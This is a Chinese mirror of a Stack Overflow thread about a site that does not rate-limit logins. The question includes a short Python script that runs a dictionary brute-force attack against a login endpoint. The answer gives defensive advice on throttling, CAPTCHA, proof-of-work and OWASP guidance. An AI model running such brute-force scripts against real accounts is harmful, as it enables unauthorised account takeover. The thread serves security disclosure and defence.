gpt4 book ai didi

python - 这个 Python 登录实际上是不安全的吗?

转载 作者:行者123 更新时间:2023-11-28 16:33:01 24 4
gpt4 key购买 nike

我正在制作一个机器人来在一个开源项目的网站上签名(不打算提及任何名字),我注意到无论我多少次,我的机器人都没有达到最大登录尝试禁令试图使用不正确的凭据登录。

def login(account,passwd):
r = requests.post("http://nottheprojectname.com/~~app/action.php",
data={'act': "login",
'name': account,
'pass': passwd,
'keyid': ""
})

return r.text

我正在使用如上所示的 Python 脚本进行登录,我决定制作一个测试脚本来演示帐户如何被暴力破解。

import re
import requests

def dictionary_crack(account):
attempts = 0
with open('giant_PW_list.txt', 'r') as f:
for passwd in f:
resp = login(account, passwd)
if re.findall("loggedin\"\:[a-z]+",resp) == [u'loggedin":true']:
return account + ": " + passwd
else:
attempts += 1
print trys
else:
input("All login attemts on "+account+" failed")

我向项目管理员展示了这个脚本,他们驳回了它,说它不会工作,因为登录尝试会减慢执行速度。但是,我在我创建的测试帐户上尝试了此操作,并且能够在运行其中一个脚本的情况下执行大约 每分钟 10,000 次登录尝试。对于暴力攻击来说速度不是非常快,但它肯定不能忽略不计(特别是如果使用连续字典同时对同一帐户同时进行多次攻击时)。

这一切对我来说似乎很荒谬而且很容易解决。我在网络安全方面没有经验,所以我觉得纠正那些在网络安全领域比我知识渊博的人很矛盾。

最佳答案

服务器应该通过用户名和密码来跟踪错误的登录尝试。您需要将其存储在应用程序/全局状态中,而不是 session 中。

甚至不用跟踪 IP 地址,blackhat 只会使用匿名代理。

在 U 错误的用户名登录尝试或 P 错误的密码尝试时,服务器应要求正确的 CAPTCHA 值或工作量证明†。

如果用户通过身份验证,返回一个 HMAC 的 "trusted user agent" cookie,这样用户以后就可以跳过 CAPTCHA 或工作量证明。

不要锁定他人的帐户,因为您只是在让黑客对他们进行拒绝服务。不要在服务器上 sleep() ,因为您保持连接打开的时间超过了必要的时间,可能是您自己进行了 DoSing。

您可以使用 modsecurity 做很多这样的事情。

这是 OWASP 指南:https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks

† 让网络浏览器计算一个真正的大数的质因数

关于python - 这个 Python 登录实际上是不安全的吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/30060012/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com